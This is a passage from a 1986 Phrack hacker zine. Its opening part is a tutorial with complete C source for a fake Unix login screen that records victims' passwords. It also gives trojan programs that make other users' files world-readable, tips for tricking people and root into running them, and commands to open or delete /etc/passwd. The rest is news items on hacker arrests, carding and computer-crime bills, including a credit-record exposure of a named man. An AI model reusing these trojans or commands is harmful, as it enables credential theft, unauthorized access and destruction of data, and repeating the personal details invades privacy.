  751. useful yet stops short of being a 'cookbook for crackers.'  We have
  752. often intentionally omitted details."  I am following the general
  753. outline of the article, giving explicit examples of the methods they touched
  754. on.
  755.  
  756.      An unrelated note:  Somewhere there's a dude running around using
  757. the handle "Lord British" (not THE Lord British...).  This is a message
  758. for LB:  "Fuck off and die."
  759.  
  760. Here we go...
  761.  
  762. Project One:  Fishing For Passwords
  763. -----------------------------------
  764.  
  765.      You can implement this with only a minimal knowledge of UNIX and
  766. C.  However, you need access to a terminal that many people use -
  767. the computer lab at your school, for example.
  768.  
  769.      When you log onto a typical UNIX system, you see something like this:
  770.  
  771. Tiburon Systems 4.2bsd / System V (shark)
  772.  
  773.  
  774. login: shark
  775. Password:      (not printed)
  776.  
  777.      The program I'm giving you here simulates a logon sequence.  You
  778. run the program from a terminal and then leave.  Some unknowing fool
  779. will walk up and enter their login and password.  It is written to a
  780. file of yours, then "login incorrect" is printed, then the fool is
  781. asked to log in again.  The second time it's the real login program.
  782. This time the person succeeds and they are none the wiser.
  783.  
  784.      On the system, put the following code into a file called 'horse.c'.
  785. You will need to modify the first 8 lines to fit your system's appearance.
  786.  
  787.  
  788. ----- Code Begins Here -----
  789.  
  790. /* this is what a 'C' comment looks like.  You can leave them out. */
  791.  
  792. /* #define's are like macros you can use for configuration. */
  793.  
  794. #define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n"
  795.  
  796. /* The above string should be made to look like the message that your
  797.  * system prints when ready.  Each \n represents a carriage return.
  798.  */
  799.  
  800. #define LOGIN  "login: "
  801.  
  802. /* The above is the login prompt.  You shouldn't have to change it
  803.  * unless you're running some strange version of UNIX.
  804.  */
  805.  
  806. #define PASSWORD "password:"
  807.  
  808. /* The above is the password prompt.  You shouldn't have to change
  809.  * it, either.
  810.  */
  811.  
  812. #define WAIT 2
  813.  
  814. /* The numerical value assigned to WAIT is the delay you get after
  815.  * "password:" and before "login incorrect."  Change it (0 = almost
  816.  * no delay, 5 = LONG delay) so it looks like your system's delay.
  817.  * realism is the key here - we don't want our target to become
  818.  * suspicious.
  819.  */
  820.  
  821.  
  822. #define INCORRECT "Login incorrect.\n"
  823.  
  824. /* Change the above so it is what your system says when an incorrect
  825.  * login is given.  You shouldn't have to change it.
  826.  */
  827.  
  828. #define FILENAME "stuff"
  829.  
  830. /* FILENAME is the name of the file that the hacked passwords will
  831.  * be put into automatically.  'stuff' is a perfectly good name.
  832.  */
  833.  
  834. /* Don't change the rest of the program unless there is a need to
  835.  * and you know 'C'.
  836.  */
  837.  
  838. #include <curses.h>
  839. #include <signal.h>
  840. int stop();
  841.  
  842. main()
  843. {
  844. char name[10], password[10];
  845. int i;
  846. FILE *fp, *fopen();
  847. signal(SIGINT,stop);
  848. initscr();
  849. printf(SYSTEM);
  850. printf(LOGIN);
  851. scanf("%[^\n]",name);
  852. getchar();
  853. noecho();
  854. printf(PASSWORD);
  855. scanf("%[^\n]",password);
  856. printf("\n");
  857. getchar();
  858. echo();
  859. sleep(WAIT);
  860.  
  861.  
  862. if ( ( fp = fopen(FILENAME,"a") )  != NULL ) {
  863. #fprintf(fp,"login %s has password %s\n",name,password);
  864. #fclose(fp);
  865. #}
  866.  
  867. printf(INCORRECT);
  868. endwin();
  869. }
  870.  
  871. stop()
  872. {
  873. endwin();
  874. exit(0);
  875. }
  876.  
  877.  
  878. ----- Source Ends Here -----
  879.  
  880.      OK, as I said, enter the above and configure it so it looks exactly
  881. like your system's login sequence.  To compile this program called
  882. 'horse.c' type the following two lines: (don't type the %'s, they are
  883. just a sample prompt)
  884.  
  885. % cc horse.c -lcurses -ltermcap
  886. % mv a.out horse
  887.  
  888. You now have the working object code in a file called 'horse'.  Run it,
  889. and if it doesn't look like your systems logon sequence, re-edit horse.c
  890. and re-compile it.  When you're ready to put the program into use, create
  891. a new file and call it 'trap' or something.  'trap' should have these two
  892. commands:
  893.  
  894. horse                    (this runs your program)
  895. login                    (this runs the real login program)
  896.  
  897. to execute 'trap' type:
  898.  
  899. % source trap            (again, don't type the %)
  900.  
  901. and walk away from your terminal...
  902.  
  903. After you've run it successfully a few times, check your file called
  904. 'stuff' (or whatever you decided to call it).  It will look like this:
  905.  
  906. user john has password secret
  907. user mary has password smegma
  908. etc.
  909.  
  910. Copy down these passwords, then delete this file (it can be VERY
  911. incriminating if the superuser sees it).
  912.  
  913. Note - for best results your terminal should be set to time-out after
  914. a few minutes of non-use - that way, your horse program doesn't
  915. run idle for 14 hours if nobody uses the terminal you ran it on.
  916.  
  917. -----
  918.  
  919. The next projects can be run on a remote system, such as the VAX in
  920. Michigan you've hacked into, or Dartmouth's UNIX system, or whatever.
  921. However, they require a little knowledge of the 'C' language.  They're
  922. not something for UNIX novices.
  923.  
  924. Project Two:  Reading Anybody's Files
  925. -------------------------------------
  926.  
  927. When somebody runs a program, they're the owner of the process created
  928. and that program can do anything they would do, such as delete a file
  929. in their directory or making a file of theirs available for reading
  930. by anybody.
  931.  
  932. When people save old mail they get on a UNIX system, it's put into
  933. a file called mbox in their home directory.  This file can be fun
  934. to read but is usually impossible for anybody but the file's owner
  935. to read.  Here is a short program that will unlock (i.e. chmod 777,
  936. or let anybody on the system read, write or execute) the mbox file
  937. of the person who runs the program:
  938.  
  939. ----- Code Begins Here -----
  940.  
  941. #include <pwd.h>
  942.  
  943. struct passwd *getpwnam(name);
  944. struct passwd *p;
  945. char buf[255];
  946.  
  947. main()
  948. {
  949. p = getpwnam(getlogin());
  950. sprintf(buf,"%s/%s",p->pw_dir,"mbox");
  951. if ( access(buf,0) > -1 ) {
  952.         sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox");
  953.         system(buf);
  954.         }
  955. }
  956.  
  957. ----- Code Ends Here -----
  958.  
  959. So the question is:  How do I get my target to run this program that's
  960. in my directory?
  961.  
  962. If the system you're on has a public-messages type of thing (on
  963. 4.xbsd, type 'msgs') you can advertise your program there.  Put the
  964. above code in another program - find a utility or game program in
  965. some magazine like UNIX WORLD and modify it and do the above before
  966. it does it's real thing.  So if you have a program called tic-tac-toe
  967. and you've modified it to unlock the mbox file of the user before it
  968. plays tic-tac-toe with him, advertise "I have a new tic-tac-toe program
  969. running that you should all try.  It's in my directory." or whatever.
  970. If you don't have means of telling everybody on the system via a public
  971. message, then just send mail to the specific people you want to trap.
  972.  
  973. If you can't find a real program to modify, just take the above program
  974. and add this line between the two '}' lines at the end of the program:
  975.  
  976. printf("Error opening tic-tac-toe data file.  Sorry!\n");
  977.  
  978. when the program runs, it will print the above error message.  The user
  979. will think "Heh, that dude doesn't know how to write a simple tic-tac-
  980. toe program!" but the joke's on him - you can now read his mail.
  981.  
  982. If there's a specific file in a user's directory that you'd like to
  983. read (say it's called "secret") just throw together this general
  984. program:
  985.  
  986.  
  987. main()
  988. {
  989. if ( access("secret",0) > -1 ) system("chmod 777 secret");
  990. }
  991.  
  992. then 'talk' or 'write' to him and act like Joe Loser: "I wrote this program
  993. called super_star_wars, will you try it out?"
  994.  
  995. You can use your imagination.  Think of a command you'd like somebody
  996. to execute.  Then put it inside a system() call in a C program and
  997. trick them into running your program!
  998.  
  999. Here's a very neat way of using the above technique:
  1000.  
  1001. Project Three: Become the superuser
  1002. -----------------------------------
  1003.  
  1004. Write a program that you can get people to run.  Put this line in
  1005. it somewhere:
  1006.  
  1007. if ( !strcmp(getlogin(),"root") ) system("whatever you want");
  1008.  
  1009. This checks to see if the root login is running your program.  If
  1010. he is, you can have him execute any shell command you'd like.
  1011. Here are some suggestions:
  1012.  
  1013. "chmod 666 /etc/passwd"
  1014.  
  1015.      /etc/passwd is the system's password file.  The root owns this
  1016. file.  Normally, everyone can read it (the passwords are encrypted)
  1017. but only the root can write to it.  Take a look at it and see how it's
  1018. formatted if you don't know already.  This command makes it possible
  1019. for you to now write to the file - i.e. create unlimited accounts for
  1020. yourself and your friends.
  1021.  
  1022. "chmod 666 /etc/group"
  1023.  
  1024.      By adding yourself to some high-access groups, you can open many
  1025. doors.
  1026.  
  1027. "chmod 666 /usr/lib/uucp/L.sys"
  1028.  
  1029.      Look for this file on your system if it is on the uucp net.  It
  1030. contains dialups and passwords to other systems on the net, and normally
  1031. only the uucp administrator can read it.  Find out who owns this file
  1032. and get him to unknowingly execute a program to unlock it for you.
  1033.  
  1034. "rm /etc/passwd"
  1035.  
  1036.      If you can get the root to execute this command, the system's
  1037. passwd file will be removed and the system will go down and will
  1038. not come up for some time to come.  This is very destructive.
  1039.  
  1040. -----
  1041.  
  1042. If you are going to go about adding a trojan horse program to the
  1043. system, there are some rules you should follow.  If the hidden purpose
  1044. is something major (such as unlocking the user's mbox or deleting all
  1045. of his files or something) this program shouldn't be a program that
  1046. people will be running a lot (such as a popular computer game) - once
  1047. people discover that their files are public access the source of the
  1048. problem will be discovered quite easily.  Save this purpose for a 'test'
  1049. program (such as a game you're in the process of writing) that you
  1050. ask individual people to run via mail or 'chatting' with them.  As I
  1051. said, this 'test' program can bomb or print a phony error message after
  1052. completing its task, and you will just tell the person "well, I guess
  1053. it needs more work", wait until they log off, and then read whatever
  1054. file of theirs that you've unlocked.  If your trojan horse program's
  1055. sole purpose is to catch a specific user running it - such as the
  1056. root or other high-powered user - you can put the code to do so
  1057. in a program that will be run a lot by various users of the system.
  1058. Your modification will remain dormant until he runs it.
  1059. If you can't find the source to 'star trek' or whatever in C, just
  1060. learn C and convert something from pascal.  It can't hurt to learn
  1061. C as it's a great language.  We've just seen what it can do on a
  1062. UNIX system.  Once you've caught the root (i.e. you can now modify
  1063. the /etc/passwd file) remove the spurious code from your trojan horse
  1064. program and you'll never be caught.
  1065.  
  1066. That's it...if you have any questions or comments or you just want
  1067. to bitch at me, call this system:
  1068.  
  1069. The Matrix
  1070. 415/922-2008
  1071. 101 megs, IBM warezzz, 2400 baud, Phrack sub-board, etc.
  1072.  
  1073. Lord British, I *dare* you to call.
  1074.  
  1075.  
  1076. ==============================================================================
  1077.                                ==Phrack Inc.==
  1078.  
  1079.                     Volume One, Issue 7, Phile #8 of 10
  1080.  
  1081. PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
  1082. PWN                                                                         PWN
  1083. PWN                      *^=-> Phrack World News <-=^*                      PWN
  1084. PWN                                                                         PWN
  1085. PWN                             Issue VI/Part 1                             PWN
  1086. PWN                                                                         PWN
  1087. PWN                         Compiled and Written by                         PWN
  1088. PWN                                                                         PWN
  1089. PWN                            Knight Lightning                             PWN
  1090. PWN                                                                         PWN
  1091. PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
  1092.  
  1093. Oryan QUEST Vs. Dan Pasquale                                      June 21, 1986
  1094. ----------------------------
  1095. Yes, our buddy from the west coast is back in action, this time against Oryan
  1096. QUEST.  Oryan QUEST was busted on April 6, 1986 (See PWN Issue IV Part 2), for
  1097. hacking AT&T Mail, by the San Mateo Police Department and the FBI.  Because of
  1098. legal technicalities, the charges were dropped but, Oryan's computer was
  1099. confiscated and never returned.  He has since bought a new computer (IBM AT)
  1100. and is now back among us.
  1101.  
  1102. It is believed that someone (Dan Pasquale?) must have found Oryan's notebook
  1103. which contained his passwords on to bulletin boards around the country.  One
  1104. example of this is "The Radio Station Incident" (See PWN Issue IV Part 3)
  1105. where a fake Oryan QUEST wandered the BBS and when questioned as to his
  1106. legitimacy quickly dropped carrier.
  1107.  
  1108. Most recently Oryan QUEST has been getting job offers in computer security.
  1109. He hasn't accepted any at this time.  Also he has been getting several calls
  1110. from Dan Pasquale.  Dan wants Oryan's help to bust any and all
  1111. hackers/phreaks.  Dan is very pissed these days because someone charged
  1112. $1100.00 worth of Alliance Teleconferences to his phone bill and now he wants
  1113. revenge.  He has stated that one of his main projects is to bust P-80, sysoped
  1114. by Scan Man.  Dan Pasquale says that Scan Man works for a long distance
  1115. communications carrier.  I personally think he has as much of a chance of
  1116. busting P-80 Systems as a snowball staying frozen in a microwave.
  1117.  
  1118. Lets face it, if John Maxfield and the other investigators haven't busted P-80
  1119. yet, they never will...let alone some little police sergeant in California.
  1120. Dan also added that he is going to "hose" Speed Demon Elite.  He claims that
  1121. he is already a member of SDE and that its only a matter of time before he
  1122. takes it down forever.  He also mentioned that he has placed a Dialed Number
  1123. Recorder (DNR) on Radical Rocker's phone lines.   Furthermore, it was learned
  1124. that Dan Pasquale managed to get an account on to The Underground, sysoped by
  1125. Night Stalker.  It is unknown as to if Dan has anything to do with Night
  1126. Stalker's bust.
  1127.  
  1128. Dan Pasquale also said, "I will bust these hackers any way I can!"  To really
  1129. understand what that statement means you would probably have to live in
  1130. California.  What Pasquale was referring to was moving violations.  If you (a
  1131. driver under 21) receive any type of moving violation, both your insurance
  1132. company and your parents are notified.  This raises your insurance rates and
  1133. gets you into trouble.  If you get two moving violations, kiss your license
  1134. goodbye for at least 2 years.
  1135.  
  1136. Radical Rocker having heard about Dan Pasquale's plans to destroy Speed Demon
  1137. Elite, went on a user purge and has destroyed any and all accounts that were
  1138. held by those that he did not know personally.   Speed Demon Elite is now a
  1139. private BBS and supposedly Radical Rocker has now cleared things up with Dan
  1140. Pasquale.  Information provided by Oryan QUEST and Radical Rocker
  1141. _______________________________________________________________________________
  1142.  
  1143. Marx and Tabas: The Full Story                                     July 1,1986
  1144. ------------------------------
  1145. It all started with Cory Andrew Lindsly aka Mark Tabas, age 19.  He worked for
  1146. the Colorado Plastic Card Company and had access to the plastic cards that
  1147. credit cards were made with.  He had taken 1350 and stashed them away for
  1148. later usage.
  1149.  
  1150. His plan would have went perfectly if not for Steve Dahl.  He was busted in
  1151. Miami by the US Secret Service for whatever reasons.  They gave him a chance
  1152. to play ball.  Dahl had heard about Mark Tabas and Karl Marx's scheme and
  1153. after informing the Secret Service about this he was given an embossing
  1154. machine.  Steve Dahl then flew to Denver and set up the meeting.  Mark Tabas
  1155. lived in Denver and wanted his friend James Price Salsman aka Karl Marx, age
  1156. 18, to join in on the fun.  So Marx flew down on a carded plane ticket that
  1157. Tabas had signed for.
  1158.  
  1159. The meeting took place in a room at the Denver Inn.  The room was bugged and
  1160. 19 cards (Visa, MasterCard, and some blanks) were made from a possible 140
  1161. that they had brought.  They decided to celebrate by ordering champagne on the
  1162. card of Cecil R. Downing.
  1163.  
  1164. A member of the Secret Service actually delivered the champagne to the room
  1165. disguised as a waiter.  Tabas signed for the drinks and the twosome were
  1166. nailed.  To make matters worse the SS also matched Tabas's signature with the
  1167. signature used to buy the carded plane ticket.
  1168. -------------------------------------------------------------------------------
  1169. The sentencing goes like this:  Maximum: 10,000 dollars (Local Law) Maximum:
  1170. 250,000 (Federal Law) Maximum: 10 years in jail (both)
  1171.  
  1172.                        Or any combination of the three.
  1173.  
  1174. Both Tabas and Marx were let out on bail of five thousand dollars each.  The
  1175. actually charge is:  The manufacturing and possession of unauthorized access
  1176. devices.  The U.S. Magistrate Hilbert Schauer will be overhearing the case.
  1177.  
  1178. There is a rumor that charges on Salsman were dropped and that he is in no
  1179. trouble at all since he didn't actually buy the plane ticket, he was given it,
  1180. he didn't steal the cards, and he didn't emboss them.  So supposedly the
  1181. Secret Service let Marx go because he didn't know about the cards, he was just
  1182. there at the wrong time.
  1183.  
  1184.     Information Provided By The Denver Post and Sally Ride:::Space Cadet
  1185. _______________________________________________________________________________
  1186.  
  1187. The Saga Of Mad Hacker                                            July 15, 1986
  1188. ----------------------
  1189. Mad Hacker of 616 NPA 616 wrote a random Compuserve hacker because he was
  1190. bored and wanted something to do.  It ran constantly for about a week and was
  1191. he surprised when it came up with an account.  However he made the mistake of
  1192. not checking to see whose account it was, he used the SIG's (Special Interest
  1193. Group's) and ran up a bill slightly under $300.
  1194.  
  1195. About a month later he was living over at a friend's house and the owner of
  1196. the account showed up, who just happened to be a family friend of the people
  1197. that MH was staying with.  He asked both of them (the teenagers that is) if
  1198. they were using his account (they all had Compuserve accounts and the family
  1199. knew they were computer buddies).  Mad Hacker said no and truthfully meant it.
  1200.  
  1201. Now around July 1, 1986 the account owner turned the matter over to the
  1202. Kalamazoo Police Department since CIS (Compuserve) could not find anything out
  1203. beyond the dialup used to access the account.  The police called around to
  1204. everyone in the area ("everyone" meaning all the "real" hacks and phreaks, not
  1205. rodents who think they're bad because they use handles) including Thomas
  1206. Covenant and Double Helix.  Most of everyone instantly forgot that Mad Hacker
  1207. ever existed, but somehow they got a hold of the phone number where he was
  1208. staying (at the time he was staying at his girlfriend's house, he was not
  1209. living there before) and contacted the owner of the account and put out a
  1210. warrant for Mad Hacker's arrest.
  1211.  
  1212. As of now, Mad Hacker faces *FELONY* charges because of the large amount of
  1213. the bill.  The warrant for his arrest has been suspended, letting the account
  1214. owner to handle things in his own way.  The owner has confiscated all of Mad
  1215. Hacker's computer equipment (3 computers and hardware etc.) until the bill is
  1216. completely paid back.
  1217.  
  1218. Mad Hacker has progressed from merely delivering clever obscenities over the
  1219. fone to his adversary to actual vengeance.  One example in the planning stages
  1220. will be in the form of camping out in said account owner backyard (in a rural
  1221. area), hooking up to a junction box, and running the account owner's Long
  1222. Distance phone bill out of sight.
  1223.  
  1224. Mad Hacker is supposed to have a file on Junction Box Modeming coming soon, he
  1225. is currently borrowing a computer from a friend.
  1226.  
  1227.                     Information Provided by Thomas Covenant
  1228. _______________________________________________________________________________
  1229.  
  1230. Lock Lifter *Busted*                                               July 2, 1986
  1231. --------------------
  1232. Lock Lifter was busted for hacking an MCI Vax.  he had downloaded a list of
  1233. MCI Calling Cards that he later abused and in return he received a *free* DNR
  1234. on his line for about 3 months.  He was also given a scare from MCI
  1235. Investigations (for unknown reasons) previous to his visit from law
  1236. enforcement officers and as such his BBS, The Black Chamber, was deleted and
  1237. the userfiles were destroyed, so there really isn't much to worry about from
  1238. the user's standpoint.
  1239.  
  1240. Lock Lifter had been making plans to take his board down anyway, so being
  1241. without The Black Chamber is just an adjustment we would have had to make
  1242. eventually regardless of Lock Lifters bust.
  1243.  
  1244.                             Information Provided By
  1245.                  Arthur Dent/Cyclone II/Kerrang Khan/The Seker
  1246. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  1247. Some notes from Cheap Shades:
  1248.  
  1249. "I was told by Arthur Dent that Lock Lifter did not have his computer anymore,
  1250. but someone using LL's password called my AE, Metal Shop AE (for which he had
  1251. lost his AE access but could still log on), and left me feedback in all caps
  1252. (not like LL would do) that said something like  PLEASE GIVE ME ACCESS TO THE
  1253. GO AE FUNCTION."  Arthur Dent has now confirmed that Lock Lifter did not make
  1254. the call in question and that there is definitely a fed or someone with Lock
  1255. Lifter's BBS passwords.  Sysops be warned.
  1256. _______________________________________________________________________________
  1257.  
  1258. Daniel Zigmond:  The Plot Thickens                                July 13, 1986
  1259. ----------------------------------
  1260. Daniel Zigmond appeared, for a short time, on Pirate-80.  Scan Man let him on
  1261. to make a statement and then shut him off the board.  It is now left to the
  1262. users to decide whether or not he should be allowed back on.
  1263.  
  1264.                     Information by Sally Ride:::Space Cadet
  1265.  
  1266. Some sources say that we are seeing "Whacko Cracko" syndrome, where the story
  1267. gets more and more bizarre as versions get modified.  Like TWCB, Zigmond
  1268. supposedly says one thing to one person and something different to the next,
  1269. depending on what he thinks they may want to hear.
  1270.  
  1271. The following information was found under in an anonymous post on an
  1272. unspecific bulletin board.  It would appear that someone performed a credit
  1273. check on Daniel Zigmond (with TRW) and came up with some very interesting
  1274. results.
  1275.  
  1276. As many of you should know, TRW keeps records of all major transactions you
  1277. make, credit cards you have, house or car payments, bank accounts you own,
  1278. your job, and many other things.  Daniel Zigmond's TRW account is a little
  1279. different, it has been flagged and the information is not there.   What it
  1280. does show is that Daniel Zigmond holds the position of Staff Programmer at
  1281. Carnegie Mellon University, a technical school in Pittsburgh, Pennsylvania.
  1282. It also shows that he was born in 1959 and although it would appear that he is
  1283. 27, Daniel claims to be 26.  TRW lists his only bank account as being at the
  1284. Pittsburgh National Bank.
  1285.  
  1286. What this would mean is that Zigmond has never owned a car, never rented a
  1287. car, never owned or rented a house, never had a credit card, never made any
  1288. major transactions, and has only one bank account.
  1289.  
  1290. During teleconferences on July 15th and 16th, several members of the PhoneLine
  1291. Phantoms and myself questioned Zigmond about his TRW account and several other
  1292. things.  Zigmond claims to know nothing about why his account is like this and
  1293. up till we brought up the fact that he worked at CMU, he had been telling
  1294. people that he was a reporter only.
  1295.  
  1296. As far as his reasons for needing codes, passwords, etc...  He says its so his
  1297. boss (whomever it will be) will believe the story.  Why shouldn't he believe
  1298. it?  Haven't there been enough articles on hackers and phreakers in the past?
  1299. Its been in the news very often and I'm sure that everyone remembers the
  1300. Richard Sandza articles, "Night of The Hackers" and "Revenge of The Hackers"
  1301. from Newsweek Magazine.
  1302.  
  1303. Most recently Daniel Zigmond has been speaking with several members of the
  1304. Neon Knights and he has obtained an account on the BBS World's Grave Elite,
  1305. which is sysoped by Sir Gamelord, the Vice-President of the P.H.I.R.M.
  1306.  
  1307. All hackers and phreaks are welcome to call him to be interviewed, although I
  1308. advise against it.  Please do not call up to rag on him because it is
  1309. pointless.  One example happened during the 2nd conference when someone called
  1310. on Danny's other line.  They said "did we wake you up?"  Danny said "no" and
  1311. then they hung up.
  1312.  
  1313.                     Information Provided By Daniel Zigmond
  1314. _______________________________________________________________________________
  1315.  
  1316. TeleComputist; Subscribe Now!                                     July 25, 1986
  1317. -----------------------------
  1318. From:  Forest Ranger and TeleComputist staff,
  1319. To:  You!
  1320.  
  1321. TeleComputist has had a very positive response up to this time and we have
  1322. received many requests for the free sample issue and now it is time to
  1323. subscribe.
  1324.  
  1325. For the sample free issue please self addressed stamped envelope with 39 cents
  1326. postage to: TeleComputist Newsletter P.O. Box 2003 Florissant, Mo. 63032
  1327.  
  1328. Also, please send subscriptions to the same address.  The subscription fee for
  1329. the newsletter will be twelve dollars a year, fifty cents for back issues.
  1330. This is a monthly circulation and we encourage letters.
  1331.  
  1332.                  Information Provided by Telecomputist Staff
  1333.  
  1334.                   Telecomputist Newsletter/BBS (314)921-7938
  1335.  
  1336. [KL's notes:  Both Taran King and I have seen the first issue and it is damn
  1337. good.  This is NOT a scam, we know the TeleComputist Staff personally and they
  1338. will NOT rip you off.  The newsletter itself is of fine quality both in its
  1339. print and content.  The sample issue was merely a shadow of the upcoming
  1340. issues and it will continue to get better as time goes on. It is definitely
  1341. worth the twelve dollars for the year subscription.]
  1342. _______________________________________________________________________________
  1343.  
  1344. ===============================================================================
  1345.                                ==Phrack Inc.==
  1346.  
  1347.                     Volume One, Issue 7, Phile #9 of 10
  1348.  
  1349. PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
  1350. PWN                                                                         PWN
  1351. PWN                      *^=-> Phrack World News <-=^*                      PWN
  1352. PWN                                                                         PWN
  1353. PWN                             Issue VI/Part 2                             PWN
  1354. PWN                                                                         PWN
  1355. PWN                         Compiled and Written by                         PWN
  1356. PWN                                                                         PWN
  1357. PWN                            Knight Lightning                             PWN
  1358. PWN                                                                         PWN
  1359. PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
  1360.  
  1361. U.S. Telecom Retiring Uninet                                       May 26, 1986
  1362. ----------------------------
  1363.                             "Uninet is coming down"
  1364.  
  1365. Reston, Va. - U.S. Telecom Data Communications Company, Uninet Packet
  1366. Switching Network will be retired as a result of the proposed merger of the
  1367. company with GTE Telenet Communications Corporation.
  1368.  
  1369. The move came to light last week as a joint transition study team completed a
  1370. plan detailing how the two companies will be merged.  The merger is a result
  1371. of a joint venture spawned by the two companies parents, GTE Corporation and
  1372. United Telecommunications Inc.
  1373.  
  1374. The packet switches and related equipment which make up Uninet will be sold
  1375. where possible, but a good deal of the equipment is likely to be discarded, a
  1376. spokesman for the joint venture said.
  1377.  
  1378. Under the plan, the capacity of GTE Telenet Packet Switching Network will be
  1379. increased to handle additional traffic resulting from transference of U.S.
  1380. Telecom customers to Telenet, according to the spokesman.
  1381.  
  1382. The study groups considered integrating Uninet and Telenet because the
  1383. external interfaces of each network are compatible but the internal protocols
  1384. each network uses for functions such as networks management are substantially
  1385. dif ferent and any attempt toward integration would require a massive
  1386. development effort, spokesman said.
  1387.  
  1388. Moving Uninet's traffic to Telenet is far cheaper.  Telenet currently supports
  1389. six times as much traffic as Uninet, which means Telenet's capacity must only
  1390. be incremented by one sixth.
  1391.  
  1392. Uninet will be phased out over a 120 day transition period, to begin when the
  1393. joint venture is approved.  The merger plan calls for all personnel of U.S.
  1394. Telecom and GTE Telenet to be offered jobs with U.S. Sprint (now called U.S.
  1395. Sprint, not Sprint/U.S. Telecom company since recent merger).  The new company
  1396. is headquartered in Reston, Virginia where GTE Telenet is currently headquar
  1397. tered. Submitted by Scan Man to Phrack Inc. From Communications Week, May 26
  1398. Issue
  1399. _______________________________________________________________________________
  1400.  
  1401.                                  P-80 Newsfile
  1402.                                  -------------
  1403. Computer Crime Bill Amended                                        May 14, 1986
  1404. ----------------------------
  1405. After three years of Congressional hearings, the U.S. House of Representatives
  1406. is finally getting ready to act on a computer crime bill, but like everything
  1407. else in Congress many different people have input, and the focus and scope of
  1408. pending computer crime bills have changed in important ways during the past
  1409. few months.
  1410.  
  1411. When bills are altered significantly, they are often written as "clean bills"
  1412. and given new numbers.  Computer crime measures are changing so fast it is
  1413. difficult to keep track of them.
  1414.  
  1415. What started out as The Counterfeit Access Device and Computer Fraud Act (HR
  1416. 1001) became late last month The Computer Fraud and Abuse Act (HR 4562) which,
  1417. although it has retained the same title, is now dubbed HR 4718 following the
  1418. addition of some minor amendments.
  1419.  
  1420. The new bill, sponsored by Rep. William Hughes (D-N.J.), is very similar to
  1421. the old one, however, and would impose severe penalties for illegally
  1422. accessing government and financial computers and crack down on illegal
  1423. computer bulletin board systems.
  1424.  
  1425. For more information on HR 4718, check the menu for bills in the US House of
  1426. Representatives in the Legislation Database.
  1427.  
  1428.                     Information Provided by Cathryn Conroy
  1429. -------------------------------------------------------------------------------
  1430. House Committee Approves New Computer Crime Bill                   May 14, 1986
  1431. ------------------------------------------------
  1432. The House Judiciary Committee has approved and sent to the full House a new
  1433. computer crime bill that would impose severe penalties for illegally accessing
  1434. government and financial computers and crack down on illegal computer bulletin
  1435. board systems.
  1436.  
  1437. The bill (HR 4718), sponsored by Rep. William Hughes (D-N.J.), was passed by
  1438. voice vote with no objection. It is aimed at closing loopholes in existing law
  1439. and at helping to eliminate the "national malaise" of computer crime, Hughes
  1440. said.
  1441.  
  1442. The bill "will enable us to much more effectively deal with the emerging
  1443. computer criminal in our society," said Hughes, who chairs the House crime
  1444. subcommittee.
  1445.  
  1446. Rep. Bill McCollum (R-Fla.), the ranking Republican on the crime subcommittee,
  1447. added his support for the bill. He said it is time the nation began cracking
  1448. down on computer criminals.
  1449.  
  1450. "We demand privacy, yet we glorify those that break into computers," McCollum
  1451. said, citing films and television shows that have painted a sympathetic
  1452. portrait of computer criminals.
  1453.  
  1454. The committee agreed to a single amendment to the bill -- one that would
  1455. extend the list of computer systems protected by the measure to include those
  1456. run by the brokers and dealers regulated by the Securities and Exchange
  1457. Commission.  McCollum, who sponsored the amendment, said the brokers and
  1458. dealers provide some of the same services as banks and should receive equal
  1459. protection against computer trespassers.
  1460.  
  1461. The bill was reported out unanimously from the crime subcommittee. Hughes said
  1462. an identical companion measure is moving through the Senate and that he
  1463. expects the bill will become law before the end of the 99th Congress in
  1464. December.  Hughes and McCollum agreed that the bill will help eliminate
  1465. another glaring example of the failure of existing federal law to keep pace
  1466. with technological advances.
  1467.  
  1468. "For the most part," he said, "our laws are rooted in the concept of property
  1469. crimes, where someone trespasses into or steals another person's property.
  1470. "With computer crimes, the trespassing or theft is done electronically, not
  1471. physically," he added. "Although the losses are often just as great or even
  1472. greater than property crime, our laws are not current enough to keep pace with
  1473. the changing technology used by the criminals."
  1474.  
  1475. Hughes was the author of the nation's first computer crime law in 1984. That
  1476. bill established a new federal crime for unauthorized access to classified
  1477. information in government computers and a misdemeanor for accessing any
  1478. federal computer or computer containing financial or credit information.  The
  1479. new measure would establish a:
  1480.  
  1481. -:- New felony for trespassing into federal interest computers, those run by or
  1482.     for the federal government, banks or states. Offenders would face
  1483. five-year
  1484.     prison terms.
  1485.  
  1486. -:- Second felony for "maliciously trespassing" into a federal interest
  1487.     computer and causing more than $1,000 in damage.
  1488.  
  1489. -:- New category of federal misdemeanors involving the use of illegal BBSes to
  1490.     post private information, such as credit card data, phone account
  1491.     information and passwords.
  1492.  
  1493. "We need to establish clear guidelines for protecting the information stored
  1494. in computers and for cracking down on those who knowingly put computers to
  1495. criminal of malicious use," Hughes said.
  1496.  
  1497.                        Information Provided by J. S. Orr
  1498. -------------------------------------------------------------------------------
  1499. Access To Government Computers Clarified                           June 9, 1986
  1500. ----------------------------------------
  1501. Sen. Charles McC. Mathias (R- Md.) has introduced a bill in the U.S. Senate
  1502. that would amend Section 1030 of Title 18 of the United States Code with the
  1503. purpose of clarifying coverage with respect to access to computers operated
  1504. for or on behalf of the federal government.
  1505.  
  1506. The legislation would clearly impose penalties on anyone who modified,
  1507. destroyed or prevented use of information in a government computer system or
  1508. who used or disclosed individually identifiable information in such a
  1509. computer.  The bill has been referred to the Senate Committee on The
  1510. Judiciary.  No subcommittee has yet been assigned.
  1511.  
  1512.                     Information Provided by Cathryn Conroy
  1513. _______________________________________________________________________________
  1514.  
  1515. Tap Interviews II...by Dead Lord                                  July 14, 1986
  1516. --------------------------------
  1517. The infamous Dead Lord is back and this time with an anonymous rag file that
  1518. he entitled Tap Interviews II to start people thinking that the Infiltrator
  1519. had written it.  Lets look at this file in parts.
  1520.  
  1521. First Dead Lord starts out by saying that he is Infiltrator and then changes
